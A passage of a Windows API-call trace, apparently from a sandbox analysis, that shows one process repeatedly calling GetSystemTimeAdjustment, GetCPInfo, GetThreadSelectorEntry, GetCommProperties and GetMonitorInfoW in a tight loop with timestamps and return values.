GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.567] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.567] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.567] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.568] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.568] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.568] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.568] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.568] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.568] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.568] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.568] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.568] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.568] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.570] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.570] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.570] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.570] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.570] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.570] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.570] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.570] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.570] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.570] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.570] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.570] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.570] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.570] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.570] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.571] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.571] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.571] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.571] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.571] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.572] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.572] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.572] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.572] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.572] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.572] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.572] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.572] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.572] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.572] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.572] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.572] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.572] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.572] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.572] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.572] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.572] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.572] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.572] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.572] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.573] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.573] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.573] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.573] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.573] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.573] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.573] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.573] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.573] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.573] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.573] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.573] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.573] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.573] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.573] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.573] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.573] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.573] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.573] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.573] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.574] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.574] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.574] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.574] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.574] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.574] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.574] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.574] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.574] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.574] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.574] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.574] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.574] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.574] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, 